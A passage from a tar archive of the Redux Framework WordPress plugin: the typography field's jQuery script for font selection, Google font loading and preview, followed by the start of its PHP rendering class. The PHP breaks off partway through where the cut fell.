redux.field_objects.typography = redux.field_objects.typography || {}; var selVals = []; var isSelecting = false; var default_params = { width: 'resolve', triggerChange: true, allowClear: true }; $( document ).ready( function() { //redux.field_objects.typography.init(); } ); redux.field_objects.typography.init = function( selector, skipCheck ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-typography:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } var fontClear; el.each( function() { // init each typography field $( this ).find( '.redux-typography-container' ).each( function() { var family = $( this ).find( '.redux-typography-family' ); if ( family.data( 'value' ) === undefined ) { family = $( this ); } else if ( family.data( 'value' ) !== "" ) { $( family ).val( family.data( 'value' ) ); } var select2_handle = $( this ).find( '.select2_params' ); if ( select2_handle.size() > 0 ) { var select2_params = select2_handle.val(); select2_params = JSON.parse( select2_params ); default_params = $.extend( {}, default_params, select2_params ); } fontClear = Boolean( $( this ).find( '.redux-font-clear' ).val() ); redux.field_objects.typography.select( family, true ); window.onbeforeunload = null; } ); //init when value is changed $( this ).find( '.redux-typography' ).on( 'change', function() { redux.field_objects.typography.select( $( this ) ); //.parents('.redux-container-typography:first')); } ); //init when value is changed $( this ).find( '.redux-typography-size, .redux-typography-height, .redux-typography-word, .redux-typography-letter, .redux-typography-align, .redux-typography-transform, .redux-typography-font-variant, .redux-typography-decoration' ).keyup( function() { redux.field_objects.typography.select( $( this ).parents( '.redux-container-typography:first' ) ); } ); // Have to redeclare the wpColorPicker to get a callback function $( this ).find( '.redux-typography-color' ).wpColorPicker( { change: function( e, ui ) { $( this ).val( ui.color.toString() ); redux.field_objects.typography.select( $( this ).parents( '.redux-container-typography:first' ) ); } } ); // Don't allow negative numbers for size field $( this ).find( ".redux-typography-size" ).numeric( { allowMinus: false } ); // Allow negative numbers for indicated fields $( this ).find( ".redux-typography-height, .redux-typography-word, .redux-typography-letter" ).numeric( { allowMinus: true } ); // select2 magic, to load font-family dynamically var data = [{id: 'none', text: 'none'}]; $( this ).find( ".redux-typography-family" ).select2( { matcher: function( term, text ) { return text.toUpperCase().indexOf( term.toUpperCase() ) === 0; }, query: function( query ) { return window.Select2.query.local( data )( query ); }, initSelection: function( element, callback ) { var data = {id: element.val(), text: element.val()}; callback( data ); }, allowClear: fontClear, // when one clicks on the font-family select box } ).on( "select2-opening", function( e ) { // Get field ID var thisID = $( this ).parents( '.redux-container-typography:first' ).attr( 'data-id' ); // User included fonts? var isUserFonts = $( '#' + thisID + ' .redux-typography-font-family' ).data( 'user-fonts' ); isUserFonts = isUserFonts ? 1 : 0; // Google font isn use? var usingGoogleFonts = $( '#' + thisID + ' .redux-typography-google' ).val(); usingGoogleFonts = usingGoogleFonts ? 1 : 0; // Set up data array var buildData = []; // If custom fonts, push onto array if ( redux.customfonts !== undefined ) { buildData.push( redux.customfonts ); } // If standard fonts, push onto array if ( redux.stdfonts !== undefined && isUserFonts === 0 ) { buildData.push( redux.stdfonts ); } // If user fonts, pull from localize and push into array if ( isUserFonts == 1 ) { var fontKids = []; // <option> for ( var key in redux.typography[thisID] ) { var obj = redux.typography[thisID].std_font; for ( var prop in obj ) { if ( obj.hasOwnProperty( prop ) ) { fontKids.push( { id: prop, text: prop, 'data-google': 'false' } ); } } } // <optgroup> var fontData = { text: 'Standard Fonts', children: fontKids }; buildData.push( fontData ); } // If googfonts on and had data, push into array if ( usingGoogleFonts == 1 || usingGoogleFonts === true && redux.googlefonts !== undefined ) { buildData.push( redux.googlefonts ); } // output data to drop down data = buildData; // get placeholder var selFamily = $( '#' + thisID + ' #' + thisID + '-family' ).attr( 'placeholder' ); if ( !selFamily ) { selFamily = null; } // select current font $( '#' + thisID + " .redux-typography-family" ).select2( 'val', selFamily ); // When selection is made. } ).on( 'select2-selecting', function( val, object ) { var fontName = val.object.text; var thisID = $( this ).parents( '.redux-container-typography:first' ).attr( 'data-id' ); $( '#' + thisID + ' #' + thisID + '-family' ).data( 'value', fontName ); $( '#' + thisID + ' #' + thisID + '-family' ).attr( 'placeholder', fontName ); // option values selVals = val; isSelecting = true; redux.field_objects.typography.select( $( this ).parents( '.redux-container-typography:first' ) ); } ).on( 'select2-clearing', function( val, choice ) { var thisID = $( this ).parents( '.redux-container-typography:first' ).attr( 'data-id' ); $( '#' + thisID + ' #' + thisID + '-family' ).attr( 'data-value', '' ); $( '#' + thisID + ' #' + thisID + '-family' ).attr( 'placeholder', 'Font Family' ); $( '#' + thisID + ' #' + thisID + '-google-font' ).val( 'false' ); redux.field_objects.typography.select( $( this ).parents( '.redux-container-typography:first' ) ); } ); var xx = el.find( ".redux-typography-family" ); if ( !xx.hasClass( 'redux-typography-family' ) ) { el.find( ".redux-typography-style" ).select2( default_params ); } // Init select2 for indicated fields el.find( ".redux-typography-family-backup, .redux-typography-align, .redux-typography-transform, .redux-typography-font-variant, .redux-typography-decoration" ).select2( default_params ); } ); } ); }; // Return font size redux.field_objects.typography.size = function( obj ) { var size = 0, key; for ( key in obj ) { if ( obj.hasOwnProperty( key ) ) { size++; } } return size; }; // Return proper bool value redux.field_objects.typography.makeBool = function( val ) { if ( val == 'false' || val == '0' || val === false || val === 0 ) { return false; } else if ( val == 'true' || val == '1' || val === true || val == 1 ) { return true; } }; redux.field_objects.typography.change = function( container ) { var $data = {}; jQuery( container ).find( '.redux-typography-input' ).each( function() { if ( jQuery( this ).data( 'name' ) === undefined ) { return; } $data[jQuery( this ).data( 'name' )] = jQuery( this ).val(); } ); var $input = jQuery( container ).find( '.typography-data-input:first-child' ); $input.val( JSON.stringify( $data ) ); }; redux.field_objects.typography.contrastColour = function( hexcolour ) { // default value is black. var retVal = '#444444'; // In case - for some reason - a blank value is passed. // This should *not* happen. If a function passing a value // is canceled, it should pass the current value instead of // a blank. This is how the Windows Common Controls do it. :P if ( hexcolour !== '' ) { // Replace the hash with a blank. hexcolour = hexcolour.replace( '#', '' ); var r = parseInt( hexcolour.substr( 0, 2 ), 16 ); var g = parseInt( hexcolour.substr( 2, 2 ), 16 ); var b = parseInt( hexcolour.substr( 4, 2 ), 16 ); var res = ((r * 299) + (g * 587) + (b * 114)) / 1000; // Instead of pure black, I opted to use WP 3.8 black, so it looks uniform. :) - kp retVal = (res >= 128) ? '#444444' : '#ffffff'; } return retVal; }; // Sync up font options redux.field_objects.typography.select = function( selector, skipCheck ) { var mainID; // Main id for selected field mainID = $( selector ).parents( '.redux-container-typography:first' ).attr( 'data-id' ); if ( mainID === undefined ) { mainID = $( selector ).attr( 'data-id' ); } var parent = $( selector ).parents( '.redux-container-typography:first' ); var data = []; //$.each(parent.find('.redux-typography-field'), function() { // console.log(); //}); //console.log( selector ); // Set all the variables to be checked against var family = $( '#' + mainID + ' #' + mainID + '-family' ).val(); if ( !family ) { family = null; //"inherit"; } var familyBackup = $( '#' + mainID + ' select.redux-typography-family-backup' ).val(); var size = $( '#' + mainID + ' .redux-typography-size' ).val(); var height = $( '#' + mainID + ' .redux-typography-height' ).val(); var word = $( '#' + mainID + ' .redux-typography-word' ).val(); var letter = $( '#' + mainID + ' .redux-typography-letter' ).val(); var align = $( '#' + mainID + ' select.redux-typography-align' ).val(); var transform = $( '#' + mainID + ' select.redux-typography-transform' ).val(); var fontVariant = $( '#' + mainID + ' select.redux-typography-font-variant' ).val(); var decoration = $( '#' + mainID + ' select.redux-typography-decoration' ).val(); var style = $( '#' + mainID + ' select.redux-typography-style' ).val(); var script = $( '#' + mainID + ' select.redux-typography-subsets' ).val(); var color = $( '#' + mainID + ' .redux-typography-color' ).val(); var units = $( '#' + mainID ).data( 'units' ); //console.log('here3'); //console.log(color); //var output = family; // Is selected font a google font? var google; if ( isSelecting === true ) { google = redux.field_objects.typography.makeBool( selVals.object['data-google'] ); $( '#' + mainID + ' .redux-typography-google-font' ).val( google ); } else { google = redux.field_objects.typography.makeBool( $( '#' + mainID + ' .redux-typography-google-font' ).val() ); // Check if font is a google font } // Page load. Speeds things up memory wise to offload to client if ( !$( '#' + mainID ).hasClass( 'typography-initialized' ) ) { style = $( '#' + mainID + ' select.redux-typography-style' ).data( 'value' ); script = $( '#' + mainID + ' select.redux-typography-subsets' ).data( 'value' ); if ( style !== "" ) { style = String( style ); } if ( typeof (script) !== undefined ) { script = String( script ); } } // Something went wrong trying to read google fonts, so turn google off if ( redux.fonts.google === undefined ) { google = false; } // Get font details var details = ''; if ( google === true && ( family in redux.fonts.google) ) { details = redux.fonts.google[family]; } else { details = { '400': 'Normal 400', '700': 'Bold 700', '400italic': 'Normal 400 Italic', '700italic': 'Bold 700 Italic' }; } if ( $( selector ).hasClass( 'redux-typography-subsets' ) ) { $( '#' + mainID + ' input.typography-subsets' ).val( script ); } // If we changed the font if ( $( selector ).hasClass( 'redux-typography-family' ) ) { var html = '<option value=""></option>'; // Google specific stuff if ( google === true ) { // STYLES var selected = ""; $.each( details.variants, function( index, variant ) { if ( variant.id === style || redux.field_objects.typography.size( details.variants ) === 1 ) { selected = ' selected="selected"'; style = variant.id; } else { selected = ""; } html += '<option value="' + variant.id + '"' + selected + '>' + variant.name.replace( /\+/g, " " ) + '</option>'; } ); // destroy select2 $( '#' + mainID + ' .redux-typography-style' ).select2( "destroy" ); // Instert new HTML $( '#' + mainID + ' .redux-typography-style' ).html( html ); // Init select2 $( '#' + mainID + ' .redux-typography-style' ).select2( default_params ); // SUBSETS selected = ""; html = '<option value=""></option>'; $.each( details.subsets, function( index, subset ) { if ( subset.id === script || redux.field_objects.typography.size( details.subsets ) === 1 ) { selected = ' selected="selected"'; script = subset.id; $( '#' + mainID + ' input.typography-subsets' ).val( script ); } else { selected = ""; } html += '<option value="' + subset.id + '"' + selected + '>' + subset.name.replace( /\+/g, " " ) + '</option>'; } ); //if (typeof (familyBackup) !== "undefined" && familyBackup !== "") { // output += ', ' + familyBackup; //} // Destroy select2 $( '#' + mainID + ' .redux-typography-subsets' ).select2( "destroy" ); // Inset new HTML $( '#' + mainID + ' .redux-typography-subsets' ).html( html ); // Init select2 $( '#' + mainID + ' .redux-typography-subsets' ).select2( default_params ); $( '#' + mainID + ' .redux-typography-subsets' ).parent().fadeIn( 'fast' ); $( '#' + mainID + ' .typography-family-backup' ).fadeIn( 'fast' ); } else { if ( details ) { $.each( details, function( index, value ) { if ( index === style || index === "normal" ) { selected = ' selected="selected"'; $( '#' + mainID + ' .typography-style .select2-chosen' ).text( value ); } else { selected = ""; } html += '<option value="' + index + '"' + selected + '>' + value.replace( '+', ' ' ) + '</option>'; } ); // Destory select2 $( '#' + mainID + ' .redux-typography-style' ).select2( "destroy" ); // Insert new HTML $( '#' + mainID + ' .redux-typography-style' ).html( html ); // Init select2 $( '#' + mainID + ' .redux-typography-style' ).select2( default_params ); // Prettify things $( '#' + mainID + ' .redux-typography-subsets' ).parent().fadeOut( 'fast' ); $( '#' + mainID + ' .typography-family-backup' ).fadeOut( 'fast' ); } } $( '#' + mainID + ' .redux-typography-font-family' ).val( family ); } else if ( $( selector ).hasClass( 'redux-typography-family-backup' ) && familyBackup !== "" ) { $( '#' + mainID + ' .redux-typography-font-family-backup' ).val( familyBackup ); } // Check if the selected value exists. If not, empty it. Else, apply it. if ( $( '#' + mainID + " select.redux-typography-style option[value='" + style + "']" ).length === 0 ) { style = ""; $( '#' + mainID + ' select.redux-typography-style' ).select2( 'val', '' ); } else if ( style === "400" ) { $( '#' + mainID + ' select.redux-typography-style' ).select2( 'val', style ); } // Handle empty subset select if ( $( '#' + mainID + " select.redux-typography-subsets option[value='" + script + "']" ).length === 0 ) { script = ""; $( '#' + mainID + ' select.redux-typography-subsets' ).select2( 'val', '' ); $( '#' + mainID + ' input.typography-subsets' ).val( script ); } var _linkclass = 'style_link_' + mainID; //remove other elements crested in <head> $( '.' + _linkclass ).remove(); if ( family !== null && family !== "inherit" && $( '#' + mainID ).hasClass( 'typography-initialized' ) ) { //replace spaces with "+" sign var the_font = family.replace( /\s+/g, '+' ); if ( google === true ) { //add reference to google font family var link = the_font; if ( style && style !== "" ) { link += ':' + style.replace( /\-/g, " " ); } if ( script && script !== "" ) { link += '&subset=' + script; } if ( isSelecting === false ) { if ( typeof (WebFont) !== "undefined" && WebFont ) { WebFont.load( {google: {families: [link]}} ); } } $( '#' + mainID + ' .redux-typography-google' ).val( true ); } else { $( '#' + mainID + ' .redux-typography-google' ).val( false ); } } // Weight and italic if ( style.indexOf( "italic" ) !== -1 ) { $( '#' + mainID + ' .typography-preview' ).css( 'font-style', 'italic' ); $( '#' + mainID + ' .typography-font-style' ).val( 'italic' ); style = style.replace( 'italic', '' ); } else { $( '#' + mainID + ' .typography-preview' ).css( 'font-style', "normal" ); $( '#' + mainID + ' .typography-font-style' ).val( '' ); } $( '#' + mainID + ' .typography-font-weight' ).val( style ); if ( !height ) { height = size; } if ( size === '' || size === undefined ) { $( '#' + mainID + ' .typography-font-size' ).val( '' ); } else { $( '#' + mainID + ' .typography-font-size' ).val( size + units ); } if ( height === '' || height === undefined ) { $( '#' + mainID + ' .typography-line-height' ).val( '' ); } else { $( '#' + mainID + ' .typography-line-height' ).val( height + units ); } if ( word === '' || word === undefined ) { $( '#' + mainID + ' .typography-word-spacing' ).val( '' ); } else { $( '#' + mainID + ' .typography-word-spacing' ).val( word + units ); } if ( letter === '' || letter === undefined ) { $( '#' + mainID + ' .typography-letter-spacing' ).val( '' ); } else { $( '#' + mainID + ' .typography-letter-spacing' ).val( letter + units ); } // Show more preview stuff if ( $( '#' + mainID ).hasClass( 'typography-initialized' ) ) { //console.log('here2'); var isPreviewSize = $( '#' + mainID + ' .typography-preview' ).data( 'preview-size' ); if ( isPreviewSize == '0' ) { $( '#' + mainID + ' .typography-preview' ).css( 'font-size', size + units ); } $( '#' + mainID + ' .typography-preview' ).css( 'font-weight', style ); //show in the preview box the font $( '#' + mainID + ' .typography-preview' ).css( 'font-family', family + ', sans-serif' ); if ( family === 'none' && family === '' ) { //if selected is not a font remove style "font-family" at preview box $( '#' + mainID + ' .typography-preview' ).css( 'font-family', 'inherit' ); } $( '#' + mainID + ' .typography-preview' ).css( 'line-height', height + units ); $( '#' + mainID + ' .typography-preview' ).css( 'word-spacing', word + units ); $( '#' + mainID + ' .typography-preview' ).css( 'letter-spacing', letter + units ); if ( color ) { $( '#' + mainID + ' .typography-preview' ).css( 'color', color ); $( '#' + mainID + ' .typography-preview' ).css( 'background-color', redux.field_objects.typography.contrastColour( color ) ); } $( '#' + mainID + ' .typography-style .select2-chosen' ).text( $( '#' + mainID + ' .redux-typography-style option:selected' ).text() ); $( '#' + mainID + ' .typography-script .select2-chosen' ).text( $( '#' + mainID + ' .redux-typography-subsets option:selected' ).text() ); if ( align ) { $( '#' + mainID + ' .typography-preview' ).css( 'text-align', align ); } if ( transform ) { $( '#' + mainID + ' .typography-preview' ).css( 'text-transform', transform ); } if ( fontVariant ) { $( '#' + mainID + ' .typography-preview' ).css( 'font-variant', fontVariant ); } if ( decoration ) { $( '#' + mainID + ' .typography-preview' ).css( 'text-decoration', decoration ); } $( '#' + mainID + ' .typography-preview' ).slideDown(); } // end preview stuff // if not preview showing, then set preview to show if ( !$( '#' + mainID ).hasClass( 'typography-initialized' ) ) { $( '#' + mainID ).addClass( 'typography-initialized' ); } isSelecting = false; if ( !skipCheck ) { redux_change( selector ); } }; })( jQuery );��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/typography/field_typography.php������������������������������������������0000644�����������������00000157033�14720701300�0020200 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Class and Function List: * Function list: * - __construct() * - render() * - enqueue() * - makeGoogleWebfontLink() * - makeGoogleWebfontString() * - output() * - getGoogleArray() * - getSubsets() * - getVariants() * Classes list: * - ReduxFramework_typography */ if ( ! class_exists( 'ReduxFramework_typography' ) ) { class ReduxFramework_typography { private $std_fonts = array( "Arial, Helvetica, sans-serif" => "Arial, Helvetica, sans-serif", "'Arial Black', Gadget, sans-serif" => "'Arial Black', Gadget, sans-serif", "'Bookman Old Style', serif" => "'Bookman Old Style', serif", "'Comic Sans MS', cursive" => "'Comic Sans MS', cursive", "Courier, monospace" => "Courier, monospace", "Garamond, serif" => "Garamond, serif", "Georgia, serif" => "Georgia, serif", "Impact, Charcoal, sans-serif" => "Impact, Charcoal, sans-serif", "'Lucida Console', Monaco, monospace" => "'Lucida Console', Monaco, monospace", "'Lucida Sans Unicode', 'Lucida Grande', sans-serif" => "'Lucida Sans Unicode', 'Lucida Grande', sans-serif", "'MS Sans Serif', Geneva, sans-serif" => "'MS Sans Serif', Geneva, sans-serif", "'MS Serif', 'New York', sans-serif" => "'MS Serif', 'New York', sans-serif", "'Palatino Linotype', 'Book Antiqua', Palatino, serif" => "'Palatino Linotype', 'Book Antiqua', Palatino, serif", "Tahoma,Geneva, sans-serif" => "Tahoma, Geneva, sans-serif", "'Times New Roman', Times,serif" => "'Times New Roman', Times, serif", "'Trebuchet MS', Helvetica, sans-serif" => "'Trebuchet MS', Helvetica, sans-serif", "Verdana, Geneva, sans-serif" => "Verdana, Geneva, sans-serif", ); private $user_fonts = true; /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $field , $value, $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; // Shim out old arg to new if ( isset( $this->field['all_styles'] ) && ! empty( $this->field['all_styles'] ) ) { $this->field['all-styles'] = $this->field['all_styles']; unset ( $this->field['all_styles'] ); } // Set field array defaults. No errors please $defaults = array( 'font-family' => true, 'font-size' => true, 'font-weight' => true, 'font-style' => true, 'font-backup' => false, 'subsets' => true, 'custom_fonts' => true, 'text-align' => true, 'text-transform' => false, 'font-variant' => false, 'text-decoration' => false, 'color' => true, 'preview' => true, 'line-height' => true, 'multi' => array( 'subset' => false, 'weight' => false, ), 'word-spacing' => false, 'letter-spacing' => false, 'google' => true, 'update_weekly' => false, // Enable to force updates of Google Fonts to be weekly 'font_family_clear' => true ); $this->field = wp_parse_args( $this->field, $defaults ); // Set value defaults. $defaults = array( 'font-family' => '', 'font-options' => '', 'font-backup' => '', 'text-align' => '', 'text-transform' => '', 'font-variant' => '', 'text-decoration' => '', 'line-height' => '', 'word-spacing' => '', 'letter-spacing' => '', 'subsets' => '', 'google' => false, 'font-script' => '', 'font-weight' => '', 'font-style' => '', 'color' => '', 'font-size' => '', ); $this->value = wp_parse_args( $this->value, $defaults ); // Get the google array $this->getGoogleArray(); if ( empty( $this->field['fonts'] ) ) { $this->user_fonts = false; $this->field['fonts'] = $this->std_fonts; } // Localize std fonts $this->localizeStdFonts(); } function localize( $field, $value = "" ) { $params = array(); if ( true == $this->user_fonts && ! empty( $this->field['fonts'] ) ) { $params['std_font'] = $this->field['fonts']; } return $params; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function render() { // Since fonts declared is CSS (@font-face) are not rendered in the preview, // they can be declared in a CSS file and passed here so they DO display in // font preview. Do NOT pass style.css in your theme, as that will mess up // admin page styling. It's recommended to pass a CSS file with ONLY font // declarations. // If field is set and not blank, then enqueue field if ( isset( $this->field['ext-font-css'] ) && $this->field['ext-font-css'] != '' ) { wp_register_style( 'redux-external-fonts', $this->field['ext-font-css'] ); wp_enqueue_style( 'redux-external-fonts' ); } if ( empty( $this->field['units'] ) && ! empty( $this->field['default']['units'] ) ) { $this->field['units'] = $this->field['default']['units']; } if ( empty( $this->field['units'] ) || ! in_array( $this->field['units'], array( 'px', 'em', 'rem', '%' ) ) ) { $this->field['units'] = 'px'; } $unit = $this->field['units']; echo '<div id="' . $this->field['id'] . '" class="redux-typography-container" data-id="' . $this->field['id'] . '" data-units="' . $unit . '">'; if ( isset( $this->field['select2'] ) ) { // if there are any let's pass them to js $select2_params = json_encode( $this->field['select2'] ); $select2_params = htmlspecialchars( $select2_params, ENT_QUOTES ); echo '<input type="hidden" class="select2_params" value="' . $select2_params . '">'; } /* Font Family */ if ( $this->field['font-family'] === true ) { // font family clear echo '<input type="hidden" class="redux-font-clear" value="' . $this->field['font_family_clear'] . '">'; //if (filter_var($this->value['google'], FILTER_VALIDATE_BOOLEAN)) { if ( filter_var( $this->value['google'], FILTER_VALIDATE_BOOLEAN ) ) { // Divide and conquer $fontFamily = explode( ', ', $this->value['font-family'], 2 ); // If array 0 is empty and array 1 is not if ( empty( $fontFamily[0] ) && ! empty( $fontFamily[1] ) ) { // Make array 0 = array 1 $fontFamily[0] = $fontFamily[1]; // Clear array 1 $fontFamily[1] = ""; } } // If no fontFamily array exists, create one and set array 0 // with font value if ( ! isset( $fontFamily ) ) { $fontFamily = array(); $fontFamily[0] = $this->value['font-family']; $fontFamily[1] = ""; } // Is selected font a Google font $isGoogleFont = '0'; if ( isset( $this->parent->fonts['google'][ $fontFamily[0] ] ) ) { $isGoogleFont = '1'; } // If not a Google font, show all font families if ( $isGoogleFont != '1' ) { $fontFamily[0] = $this->value['font-family']; } $userFonts = '0'; if ( true == $this->user_fonts ) { $userFonts = '1'; } echo '<input type="hidden" class="redux-typography-font-family ' . $this->field['class'] . '" data-user-fonts="' . $userFonts . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '[font-family]' . '" value="' . $this->value['font-family'] . '" data-id="' . $this->field['id'] . '" />'; echo '<input type="hidden" class="redux-typography-font-options ' . $this->field['class'] . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '[font-options]' . '" value="' . $this->value['font-options'] . '" data-id="' . $this->field['id'] . '" />'; echo '<input type="hidden" class="redux-typography-google-font" value="' . $isGoogleFont . '" id="' . $this->field['id'] . '-google-font">'; echo '<div class="select_wrapper typography-family" style="width: 220px; margin-right: 5px;">'; echo '<label>' . __( 'Font Family', 'redux-framework' ) . '</label>'; $placeholder = $fontFamily[0] ? $fontFamily[0] : __( 'Font family', 'redux-framework' ); echo '<div class=" redux-typography redux-typography-family select2-container ' . $this->field['class'] . '" id="' . $this->field['id'] . '-family" placeholder="' . $placeholder . '" data-id="' . $this->field['id'] . '" data-value="' . $fontFamily[0] . '">'; echo '</div>'; echo '</div>'; $googleSet = false; if ( $this->field['google'] === true ) { // Set a flag so we know to set a header style or not echo '<input type="hidden" class="redux-typography-google ' . $this->field['class'] . '" id="' . $this->field['id'] . '-google" name="' . $this->field['name'] . $this->field['name_suffix'] . '[google]' . '" type="text" value="' . $this->field['google'] . '" data-id="' . $this->field['id'] . '" />'; $googleSet = true; } } /* Backup Font */ if ( $this->field['font-family'] === true && $this->field['google'] === true ) { if ( false == $googleSet ) { // Set a flag so we know to set a header style or not echo '<input type="hidden" class="redux-typography-google ' . $this->field['class'] . '" id="' . $this->field['id'] . '-google" name="' . $this->field['name'] . $this->field['name_suffix'] . '[google]' . '" type="text" value="' . $this->field['google'] . '" data-id="' . $this->field['id'] . '" />'; } if ( $this->field['font-backup'] === true ) { echo '<div class="select_wrapper typography-family-backup" style="width: 220px; margin-right: 5px;">'; echo '<label>' . __( 'Backup Font Family', 'redux-framework' ) . '</label>'; echo '<select data-placeholder="' . __( 'Backup Font Family', 'redux-framework' ) . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '[font-backup]' . '" class="redux-typography redux-typography-family-backup ' . $this->field['class'] . '" id="' . $this->field['id'] . '-family-backup" data-id="' . $this->field['id'] . '" data-value="' . $this->value['font-backup'] . '">'; echo '<option data-google="false" data-details="" value=""></option>'; foreach ( $this->field['fonts'] as $i => $family ) { echo '<option data-google="true" value="' . $i . '"' . selected( $this->value['font-backup'], $i, false ) . '>' . $family . '</option>'; } echo '</select></div>'; } } /* Font Style/Weight */ if ( $this->field['font-style'] === true || $this->field['font-weight'] === true ) { echo '<div class="select_wrapper typography-style" original-title="' . __( 'Font style', 'redux-framework' ) . '">'; echo '<label>' . __( 'Font Weight & Style', 'redux-framework' ) . '</label>'; $style = $this->value['font-weight'] . $this->value['font-style']; echo '<input type="hidden" class="typography-font-weight" name="' . $this->field['name'] . $this->field['name_suffix'] . '[font-weight]' . '" value="' . $this->value['font-weight'] . '" data-id="' . $this->field['id'] . '" /> '; echo '<input type="hidden" class="typography-font-style" name="' . $this->field['name'] . $this->field['name_suffix'] . '[font-style]' . '" value="' . $this->value['font-style'] . '" data-id="' . $this->field['id'] . '" /> '; $multi = ( isset( $this->field['multi']['weight'] ) && $this->field['multi']['weight'] ) ? ' multiple="multiple"' : ""; echo '<select' . $multi . ' data-placeholder="' . __( 'Style', 'redux-framework' ) . '" class="redux-typography redux-typography-style select ' . $this->field['class'] . '" original-title="' . __( 'Font style', 'redux-framework' ) . '" id="' . $this->field['id'] . '_style" data-id="' . $this->field['id'] . '" data-value="' . $style . '">'; if ( empty( $this->value['subsets'] ) || empty( $this->value['font-weight'] ) ) { echo '<option value=""></option>'; } $nonGStyles = array( '200' => 'Lighter', '400' => 'Normal', '700' => 'Bold', '900' => 'Bolder' ); if ( isset( $gfonts[ $this->value['font-family'] ] ) ) { foreach ( $gfonts[ $this->value['font-family'] ]['variants'] as $v ) { echo '<option value="' . $v['id'] . '" ' . selected( $this->value['subsets'], $v['id'], false ) . '>' . $v['name'] . '</option>'; } } else { if ( ! isset( $this->value['font-weight'] ) && isset( $this->value['subsets'] ) ) { $this->value['font-weight'] = $this->value['subsets']; } foreach ( $nonGStyles as $i => $style ) { if ( ! isset( $this->value['font-weight'] ) ) { $this->value['font-weight'] = false; } if ( ! isset( $this->value['subsets'] ) ) { $this->value['subsets'] = false; } echo '<option value="' . $i . '" ' . selected( $this->value['font-weight'], $i, false ) . '>' . $style . '</option>'; } } echo '</select></div>'; } /* Font Script */ if ( $this->field['font-family'] == true && $this->field['subsets'] == true && $this->field['google'] == true ) { echo '<div class="select_wrapper typography-script tooltip" original-title="' . __( 'Font subsets', 'redux-framework' ) . '">'; echo '<input type="hidden" class="typography-subsets" name="' . $this->field['name'] . $this->field['name_suffix'] . '[subsets]' . '" value="' . $this->value['subsets'] . '" data-id="' . $this->field['id'] . '" /> '; echo '<label>' . __( 'Font Subsets', 'redux-framework' ) . '</label>'; $multi = ( isset( $this->field['multi']['subset'] ) && $this->field['multi']['subset'] ) ? ' multiple="multiple"' : ""; echo '<select'.$multi.' data-placeholder="' . __( 'Subsets', 'redux-framework' ) . '" class="redux-typography redux-typography-subsets ' . $this->field['class'] . '" original-title="' . __( 'Font script', 'redux-framework' ) . '" id="' . $this->field['id'] . '-subsets" data-value="' . $this->value['subsets'] . '" data-id="' . $this->field['id'] . '" >'; if ( empty( $this->value['subsets'] ) ) { echo '<option value=""></option>'; } if ( isset( $gfonts[ $this->value['font-family'] ] ) ) { foreach ( $gfonts[ $this->value['font-family'] ]['subsets'] as $v ) { echo '<option value="' . $v['id'] . '" ' . selected( $this->value['subsets'], $v['id'], false ) . '>' . $v['name'] . '</option>'; } } echo '</select></div>'; } /* Font Align */ if ( $this->field['text-align'] === true ) { echo '<div class="select_wrapper typography-align tooltip" original-title="' . __( 'Text Align', 'redux-framework' ) . '">'; echo '<label>' . __( 'Text Align', 'redux-framework' ) . '</label>'; echo '<select data-placeholder="' . __( 'Text Align', 'redux-framework' ) . '" class="redux-typography redux-typography-align ' . $this->field['class'] . '" original-title="' . __( 'Text Align', 'redux-framework' ) . '" id="' . $this->field['id'] . '-align" name="' . $this->field['name'] . $this->field['name_suffix'] . '[text-align]' . '" data-value="' . $this->value['text-align'] . '" data-id="' . $this->field['id'] . '" >'; echo '<option value=""></option>'; $align = array( 'inherit', 'left', 'right', 'center', 'justify', 'initial' ); foreach ( $align as $v ) { echo '<option value="' . $v . '" ' . selected( $this->value['text-align'], $v, false ) . '>' . ucfirst( $v ) . '</option>'; } echo '</select></div>'; } /* Text Transform */ if ( $this->field['text-transform'] === true ) { echo '<div class="select_wrapper typography-transform tooltip" original-title="' . __( 'Text Transform', 'redux-framework' ) . '">'; echo '<label>' . __( 'Text Transform', 'redux-framework' ) . '</label>'; echo '<select data-placeholder="' . __( 'Text Transform', 'redux-framework' ) . '" class="redux-typography redux-typography-transform ' . $this->field['class'] . '" original-title="' . __( 'Text Transform', 'redux-framework' ) . '" id="' . $this->field['id'] . '-transform" name="' . $this->field['name'] . $this->field['name_suffix'] . '[text-transform]' . '" data-value="' . $this->value['text-transform'] . '" data-id="' . $this->field['id'] . '" >'; echo '<option value=""></option>'; $values = array( 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ); foreach ( $values as $v ) { echo '<option value="' . $v . '" ' . selected( $this->value['text-transform'], $v, false ) . '>' . ucfirst( $v ) . '</option>'; } echo '</select></div>'; } /* Font Variant */ if ( $this->field['font-variant'] === true ) { echo '<div class="select_wrapper typography-font-variant tooltip" original-title="' . __( 'Font Variant', 'redux-framework' ) . '">'; echo '<label>' . __( 'Font Variant', 'redux-framework' ) . '</label>'; echo '<select data-placeholder="' . __( 'Font Variant', 'redux-framework' ) . '" class="redux-typography redux-typography-font-variant ' . $this->field['class'] . '" original-title="' . __( 'Font Variant', 'redux-framework' ) . '" id="' . $this->field['id'] . '-font-variant" name="' . $this->field['name'] . $this->field['name_suffix'] . '[font-variant]' . '" data-value="' . $this->value['font-variant'] . '" data-id="' . $this->field['id'] . '" >'; echo '<option value=""></option>'; $values = array( 'inherit', 'normal', 'small-caps' ); foreach ( $values as $v ) { echo '<option value="' . $v . '" ' . selected( $this->value['font-variant'], $v, false ) . '>' . ucfirst( $v ) . '</option>'; } echo '</select></div>'; } /* Text Decoration */ if ( 